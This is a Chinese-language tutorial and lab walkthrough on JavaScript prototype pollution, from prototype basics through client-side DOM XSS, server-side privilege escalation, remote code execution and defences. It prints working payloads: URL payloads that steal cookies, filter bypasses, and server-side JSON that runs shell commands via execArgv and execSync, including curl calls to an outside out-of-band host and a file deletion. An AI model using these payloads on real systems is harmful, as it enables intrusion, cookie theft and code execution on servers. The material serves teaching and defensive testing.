一、什么是原型污染
原型污染是一种 JavaScript 漏洞,它使攻击者能够向全局对象原型添加任意属性,然后这些属性可能被用户定义的对象继承。
二、JavaScript 原型和继承基础
1、原型
JavaScript 中的每个对象都链接到某种类型的另一个对象,称为其原型。JavaScript 会自动为新对象分配其内置原型之一。例如,字符串会自动分配内置的String.prototype
let myObject = {};
Object.getPrototypeOf(myObject); // Object.prototype
let myString = "";
Object.getPrototypeOf(myString); // String.prototype
let myArray = [];
Object.getPrototypeOf(myArray); // Array.prototype
let myNumber = 1;
Object.getPrototypeOf(myNumber); // Number.prototype
2、继承
对象会自动继承其分配的原型的所有属性,除非它们已经拥有具有相同键的自己的属性。这使开发人员能够创建可以重用现有对象的属性和方法的新对象。
3、原型链
每个函数对象有 prototype
属性,而实例对象没有,但所有的实例对象(函数,数组,对象)都会初始化一个私有属性 __proto__
指向它的构造函数的原型对象 prototype。
构造函数、原型对象、以及实例对象的关系理清如下:
- 个构造函数都有一个
prototype
原型对象 - 每个实例对象都有一个
__proto__
属性,并且指向它的构造函数的原型对象prototype
- 对象里的
constructor
属性指向其构造函数本身
函数对象的 prototype 是另一个对象,它也有自己的 prototype,依此类推。这条链最终会回到顶层 ,其原型就是Object.prototype,对象不仅从其直接原型继承属性,还会继承直接原型继承的属性。
function f(){
return 2;
}
// 函数都继承于 Function.prototype
// 原型链: f ---> Function.prototype ---> Object.prototype ---> null
4、 使用 proto 访问对象的原型
每个对象都有一个特殊属性 proto,可以使用该属性来访问其原型。例如:
username.__proto__
username['__proto__']
将引用链接起来,访问原型链上的其他原型,例如:
username.__proto__ // String.prototype
username.__proto__.__proto__ // Object.prototype
username.__proto__.__proto__.__proto__ // null
5、修改原型
可以像修改任何其他对象一样修改 JavaScript 的内置原型。开发人员可以自定义或覆盖内置方法的行为,或者可以添加新方法来执行必要的操作。
例如, 在 JavaScript 中为 String.prototype
添加一个 removeWhitespace
方法,以去除字符串前后的空白字符
String.prototype.removeWhitespace = function(){
// remove leading and trailing whitespace
}
添加自定义方法后,所有字符串都可以访问此方法
let searchTerm = " example ";
searchTerm.removeWhitespace(); // "example"
三、原型污染漏洞原理
直接污染原型
object[a][b] = value
当a、b均可控制的时候将直接导致原型污染,如下:
object1 = {"a":1, "b":2};
object1.__proto__.foo = "Hello World";
console.log(object1.foo); //Hello World
object2 = {"c":1, "d":2};
console.log(object2.foo); //Hello World
原型污染漏洞通常出现在 JavaScript 函数以递归方式将包含用户可控制属性的对象合并到现有对象中。这可能允许攻击者注入__proto__属性以及任意嵌套属性。
merge 操作可能会将嵌套属性分配给对象的原型,而不是目标对象本身。攻击者可以使用包含有害值的属性污染原型,这些值随后可能会被应用程序以危险的方式使用。
merge递归合并污染原型
在这个例子中,由于merge函数没有正确处理__proto__
属性,导致object1被污染。原本和object2 递归合并的结果是a: 1,"proto": {b: 2},结果变成了a: 1,b: 2
function merge(target, source) {
for (let key in source) {
if (key in source && key in target) {
merge(target[key], source[key])
} else {
target[key] = source[key]
}
}
};
let object1 = {};
let object2 = {a: 1,"__proto__": {b: 2}};
merge(object1, object2);
console.log(object2);
console.log(object1);
JSON.parse()污染
JSON.parse() 方法用于将一个 JSON 字符串转换成一个 JavaScript 对象。在转换过程中,JSON.parse() 会解析字符串中的属性和值,并创建一个新的 JavaScript 对象,其属性和值与 JSON 字符串中的对应。
如果 JSON 字符串中包含特殊属性(如 __proto__
),并且 JSON.parse() 方法没有对其进行特殊处理,那么这些特殊属性可能会被添加到解析后的对象的原型上,从而改变对象的原型链。(注意:我使用浏览器没有复现成功,读者可以找低版本浏览器试试)
const jsonString = '{"__proto__": {"isAdmin": true}}';
const obj = JSON.parse(jsonString);
console.log(obj.isAdmin); // 输出: true
console.log(Object.prototype.isAdmin); // 输出: true,这改变了全局的 Object.prototype
成功利用原型污染必备条件
-
原型污染源 - 能够向原型对象注入恶意属性的输入
-
接收器 - 允能够执行任意代码的 JavaScript 函数或 DOM 元素
-
可利用的小工具(Sink) - 未经适当筛选或清理而接收并处理来自原型污染源的数据的属性或方法。
四、 原型污染源
原型污染源是任何用户可控制的输入,可用于向原型对象添加任意属性。常见的来源如下:
-
URL
-
基于 JSON 的输入
-
Web 消息
1、通过 URL 对原型进行污染
构造如下查询字符串,可通过递归合并函数造成原型污染:
https://vulnerable-website.com/?__proto__[evilProperty]=payload
2、 通过 JSON 输入对污染进行原型设计
例如,通过 Web 消息注入了以下恶意 JSON
{
"__proto__": {
"evilProperty": "payload"
}
}
通过JSON.parse()__proto__
将其转换为 JavaScript 对象后,objectFromJson的原型将被改变:
const objectFromJson = JSON.parse('{"__proto__": {"evilProperty": "payload"}}');
objectFromJson.hasOwnProperty('__proto__'); //ture
五、 客户端原型污染
1、通过客户端原型污染的 DOM XSS
手动解决方案
(1)寻找原型污染源
尝试注入任意属性进行污染:
/?__proto__[foo]=bar
通过浏览器的 DevTools 面板 Consolo 控制台访问,查看是否有对象返回,有返回确定为污染源
>>Object.prototype.foo
<<'bar'
(2)识别小工具
在浏览器的 DevTools 面板中,转到 Sources (源) 选项卡。研究目标站点加载的 JavaScript 文件,查找 DOM XSS 接收器。发现页面加载后会创建 script 代码 并调用 transport_url 变量。如果对象的原型进行污染即可利用。
Object 变量如何被污染的:
见deparam 函数关键代码::
if ( keys_last ) {
for ( ; i <= keys_last; i++ ) {
key = keys[i] === '' ? cur.length : keys[i];
cur = cur[key] = i < keys_last
? cur[key] || ( keys[i+1] && isNaN( keys[i+1] ) ? {} : [] )
: val;
}
当url参数被传入deparam函数,在进入if循环前__proto__[cc]=by 最终被处理为:
keys=["__proto__","cc"]
keys_last=1
val = by
将上述变量带入if循环,当存在 keys_last 执行第一次循环 :
第一次循环 i=0,key="proto",cur[proto] =proto,cur = cur["proto"]
由于cur["__proto__"]
等于 Object.prototype
此时 cur指向了Object.prototype。
第二次循环 i=1,key="cc",cur["cc"]=by 相当于 Object.prototype['cc'] = by,最终导致了Object原型变量被污染。
(3)漏洞利用
使用确定的原型污染源,尝试注入任意属性
/?__proto__[transport_url]=foo
构造XSS负载
/?__proto__[transport_url]=data:,alert(1);
DOM Invader解决方案
- 在使用 Burp 的内置浏览器中打开测试网站,启用 DOM Invader 、 prototype pollution 选项。
- 打开浏览器的 DevTools 面板,转到 DOM Invader 选项卡,重新加载页面。
- DOM Invader 在属性中将识别了两个原型污染向量,即查询字符串。
- 单击 Scan for gadgets(扫描小工具)。将打开一个新选项卡,其中 DOM Invader 开始扫描使用所选源的小工具。
- 扫描完成后,在与扫描相同的选项卡中打开 DevTools 面板 的 DOM Invader 选项卡。
- 观察 DOM Invader 已通过 Gadget 成功访问接收器。
- 单击 Exploit (漏洞利用 )。DOM Invader 自动生成概念验证漏洞并调用
alert(1)
2、通过替代原型污染向量的 DOM XSS
手动解决方案
(1)识别污染源
/?__proto__[cc]=by
/?__proto__.cc=by
(2)识别小工具
加载页面后调用searchlogger,最终执行eval命令,当污染原型的sequence变量即可造成污染。
小知识:eval()
函数会将传入的字符串当做 JavaScript 代码进行执行。
(3)漏洞利用
利用代码如下:
/?__proto__.sequence=alert(1)-
未弹窗,通过 consolek控制台,跳到js代码打上断点,发现传入的值带1,不是javascript代码
通过 - 进行注释,最终为结果如图,将之插入url并刷新,成功利用。
/?__proto__.sequence=alert(1)-
DOM Invader解决方案
- 在使用 Burp 的内置浏览器中打开测试网站,启用 DOM Invader 、 prototype pollution 选项。
- 打开浏览器的 DevTools 面板,转到 DOM Invader 选项卡,重新加载页面。
- DOM Invader 在属性中将识别了两个原型污染向量,即查询字符串。
- 单击 Scan for gadgets(扫描小工具)。将打开一个新选项卡,其中 DOM Invader 开始扫描使用所选源的小工具。
- 扫描完成后,在与扫描相同的选项卡中打开 DevTools 面板 的 DOM Invader 选项卡。
- 观察 DOM Invader 已通过 Gadget 成功访问接收器。
- 单击 Exploit (漏洞利用 )。DOM Invader 自动生成概念验证漏洞并调用
alert(1)
打断点排查报错
有缺陷的消毒造成的客户端原型污染
3、有缺陷的消除造成的客户端原型污染 (字符串绕过)
手动解决方案
(1)识别污染源
?__pro__proto__to__[by]=cc
(2)识别小工具
(3)漏洞利用
4、第三方库中的客户端原型污染
-
启用 DOM Invader 、 prototype pollution 选项。
-
进入DevTools 面板的 DOM Invader 选项卡,然后重新加载页面。
-
DOM Invader 在属性中识别了两个原型污染向量,即 URL 片段字符串
-
单击 Scan for gadgets(扫描小工具)。开始扫描使用所选源的小工具。
-
在扫描选项卡中打开 DevTools 面板的DOM Invader 选项卡,Sinks中识别到了小工具
-
单击 Exploit (漏洞利用)。DOM Invader 自动生成概念验证漏洞并调用 alert(1)
-
在利用服务器构造负载,body添加如下代码:
<script> location="https://YOUR-LAB-ID.web-security-academy.net/#__proto__[hitCallback]=alert%28document.cookie%29" </script>
location 内容为自动生成的负载,点击保存发送到受害者,受害者点解利用服务器网址,将加载负载,弹出受害者cookies
六、 通过浏览器 API 构建原型污染
手动解决方案
1、识别污染源
2、识别小工具
Object.defineProperty()
静态方法会直接在一个对象上定义一个新属性,或修改其现有属性,并返回此对象。
Object.defineProperty(obj, prop, descriptor)
obj
要定义属性的对象。
prop
一个字符串或 Symbol,指定了要定义或修改的属性键。
descriptor
要定义或修改的属性的描述符。
返回值
传入函数的对象,其指定的属性已被添加或修改。
configurable 控制属性是否可以从对象中删除以及其特性(除了 value
和 writable
)是否可以更改。
writable 当 writable
特性设置为 false
时,该属性被称为"不可写的"。它不能被重新赋值。
根据源码可知config函数中定义了 transport_url: false ,由于config函数存在该属性,将不会继续读取原型的transport_url属性, 导致后续将无法读取污染的原型利用。接下来使用了**Object.defineProperty()重新
** 定义 transport_url属性**,没有设置value值,这将导致继承object原型的value值,即
** config.transport_url=value值。
(3)漏洞利用
DOM Invader 解决方案
- 启用 DOM Invader 、 prototype pollution 选项。
- 进入DevTools 面板的 DOM Invader 选项卡,然后重新加载页面。
- DOM Invader 在属性中识别了两个原型污染向量,即 URL 片段字符串
- 单击 Scan for gadgets(扫描小工具)。开始扫描使用所选源的小工具。
- 在扫描选项卡中打开 DevTools 面板的DOM Invader 选项卡,Sinks中识别到了小工具
- 单击 Exploit (漏洞利用
七、 服务器端原型污染
1、通过服务器端原型污染进行权限提升
原理:在使用 for ... in ... 循环的过程,会读取原型中自定义的属性
(1)识别污染源
利用json数据更新就行参数污染,在更新用户数据页面传入参数污染,发现用户成功将污染属性输出,如图:
(2)识别小工具
用户信息中存在"isAdmin":false,尝试参数污染将isAdmin属性值定义为ture,如图所示:
(3)进行利用
刷新页面发现,已具备admin权限,如图:
2、检测服务器端原型污染,而不产生受污染的属性反射
常见手法:
Express 状态代覆盖:通过判断返回的状态码值,判断是否进行了污染。
"__proto__": {
"status":555
}
Express版本 < 4.17.4 JSON空格覆盖:通过判断返回的空格变化,判断是否进行了污染。
"__proto__":{"json spaces":10}
Express 字符集覆盖:首先将信息进行utf-7编码,正常回显不会显示解码信息,当使用UTF-7 字符集的属性来污染原型,如果此处存在参数污染,将返回解码的数据。
foo in UTF-7 is +AGYAbwBv-.
"__proto__":{
"content-type": "application/json; charset=utf-7"
}
Express 字符集覆盖(续):主要的原因是由于Node 模块中的一个错误导致的,为避免在请求包含重复标头时覆盖原有属性,该函数在将属性传输到对象之前会检查是否不存在具有相同键的属性,此检查将会包括通过 prototype 链继承的属性。将导致参数被污染。
(1)尝试正常污染参数,发现无回显,如图:
"__proto__": {
"foo":"bar"
}
(2)使用状态代覆盖覆盖方式查看是否受到参数污染影响
通过修改json格式触发报错,报错状态码为400
构造参数污染,将状态码属性改为555:
"__proto__": {
"status":555
}
在此尝试报错,返现状态码已经被污染,如图:
4、使用扫描器扫描服务器端原型污染源
(1)从 BApp Store 安装 Server-Side Prototype Pollution 。Burp---Extensions--BApp-store
(2)使用 Burp 自带浏览器访问目标网站,使之记录足够多的请求记录
(3)在 Burp 的 Proxy > HTTP history 选取测试的数据包 转到Extensions > Server-Side Prototype Pollution Scanner > Server-Side Prototype Pollution >从列表中选择一种扫描技术
(4)在 Burp Suite Professional 版本中,该扩展会通过"控制板"和"目标"选项卡上的"问题"活动面板报告它找到的原型污染源。在 Burp Suite Community Edition版本,则需要转到Extensions > Installed(已安装的扩展)选项卡,选择扩展,通过OUtput进行查看。如图:
5、绕过有缺陷的输入滤波器,防止服务器端原型污染
常见绕过方法:
模糊绕过,例如:
__pro__proto__to__
通过 constructor 属性绕过,例如:
"constructor": {
"prototype": {
"ccc":"byy"
}
}
原理:在JavaScript中,constructor
属性是一个非常特殊的属性,它存在于所有通过构造函数(constructor function)创建的实例对象上。这个属性指向创建该实例对象的构造函数。可通过prototype 修改构造函数原型的属性。例如:
//定义了一个名为 Person 的类,它有一个构造函数,接受两个参数:name 和 age,并将它们分别赋值给实例的 name 和 age 属性。
class Person {
constructor(name, age) {
this.name = name;
this.age = age;
}
}
//person2 是通过 Person 类创建的一个实例对象
const person2 = new Person("Bob", 25);
//在 JavaScript 中,每个通过类创建的实例对象都有一个 constructor 属性,该属性指向创建该实例的构造函数。因此,这个比较结果为 true。
console.log(person2.constructor === Person); // true
//使用prototype给Person的原型对象添加方法,之后所有的实际将继承该方法
Person.prototype.sayHello = function() {
console.log('Hello, my name is ' + this.name);
};
// person1的__proto__指向Person.prototype
console.log(person1.__proto__ === Person.prototype); // true
(1)正常注入发现无返回,如图
(2)尝试使用模糊测试进行污染,存在返回,说明服务端对__proto__进行了过滤。如图:
(3)通过属性污染原型,成功回显,如图:
(4)识别小工具,尝试将isAdmin 变为 true,利用成功。如图:
6、通过服务器端原型污染远程执行代码
Node 的一些用于创建新子进程的函数接受一个可选属性,这使开发人员能够设置一个特定的 shell、 bash。
"__proto__": {
"execArgv":[
"--eval=require('child_process').execSync('curl https://YOUR-COLLABORATOR-ID.oastify.com')"
]
}
execArgv
是一个与 child_process
模块相关的选项,它允许你在创建子进程时指定传递给该子进程的 Node.js 命令行参数。
--eval
选项 :Node.js CLI的--eval
(或-e
)选项允许你直接传递一段JavaScript代码给Node.js执行,而不需要将其保存在文件中。例如,node -e "console.log('Hello, world!')"
会打印出Hello, world!
。
require('child_process').execSync
:这是Node.js核心模块child_process
中的一个方法,用于同步执行shell命令
(1)尝试参数污染
通过回显判断:
通过空格覆盖判断:
(2)尝试触发burp Collaborator 的DNS 记录
插入参数污染:
"__proto__": {
"execArgv":[
"--eval=require('child_process').execSync('curl https://YOUR-COLLABORATOR-ID.oastify.com')"
]
}
手动触发job作业:
存在返回,说明sink工具可以被利用 ,如图:
(3) 制作漏洞利用
"__proto__": {
"execArgv":[
"--eval=require('child_process').execSync('rm /home/carlos/morale.txt')"
]
}
7、通过 child_process.execSync() 执行远程代码
和fork()一样,该execSync()方法也接受 options 对象,该对象可能通过原型链被污染。虽然这不接受属性execArgv,但您仍然可以通过同时污染shell和input将系统命令注入正在运行的子进程中:
该input选项只是一个字符串,它被传递给子进程的stdin流并由 执行为系统命令execSync()。由于还有其他选项可以提供命令,例如简单地将其作为参数传递给函数,因此input属性本身可能未定义。
该shell选项允许开发人员声明他们希望在其中运行命令的特定 shell。默认情况下,execSync()使用系统的默认 shell 来运行命令,因此这也可以不定义。
通过污染这两个属性,可以覆盖应用程序开发人员打算执行的命令,并在您选择的 shell 中运行恶意命令。
"shell":"vim",
"input":":! whoami\n"
"__proto__":{
"shell":"vim"
"input":":! curl https://aguk8yjornzbbwze022mz92ogfm6awyl.oastify.com
\n"}
八、防止原型污染
1、清理属性健
防止原型污染漏洞的更明显方法之一是在将属性键合并到现有对象之前对其进行清理,例如:proto
2、防止更改原型对象
防止原型污染漏洞的更可靠方法是完全防止原型对象被更改。
对对象调用Object.freeze(Object.prototype
可确保无法再修改其属性及其值,并且无法添加新属性。
bject.seal()
与Object.freeze()
类似,但仍允许更改现有属性的值。
// 创建一个普通对象
const person = {
name: "Alice",
age: 25
};
// 冻结对象
Object.freeze(person);
// 尝试修改对象的属性
person.name = "Bob"; // 无效
person.age = 30; // 无效
// 冻结 Object.prototype
Object.freeze(Object.prototype);
// 尝试添加一个新的方法到 Object.prototype
Object.prototype.newMethod = function() {
console.log("This is a new method on Object.prototype");
};
// 尝试调用新的方法
const obj = {};
obj.newMethod(); // TypeError: Cannot add property newMethod, object is not extensible
3、阻止对象继承属性
默认情况下,所有对象都通过 prototype 链直接或间接地从 global 继承。可以通过使用该方法手动设置对象的原型。
let myObject = Object.create(null); Object.getPrototypeOf(myObject); // null
4、 使用更安全的替代品
使用提供内置保护的对象,例如,在定义 options 对象时,使用其他方法替代。尽管 map 仍然可以继承恶意属性,但它们有一个内置方法,该方法仅返回直接在 map 本身上定义的属性:
Object.prototype.evil = 'polluted';
let options = new Map();
options.set('transport_url', 'https://normal-website.com');
options.evil; // 'polluted'
options.get('evil'); // undefined
options.get('transport_url'); // 'https://normal-website.com'
集合提供了一个内置方法,这些方法只返回直 接在对象本身上定义的属性:
Object.prototype.evil = 'polluted';
let options = new Set();
options.add('safe');
options.evil; // 'polluted';
option.has('evil'); // false
options.has('safe'); // true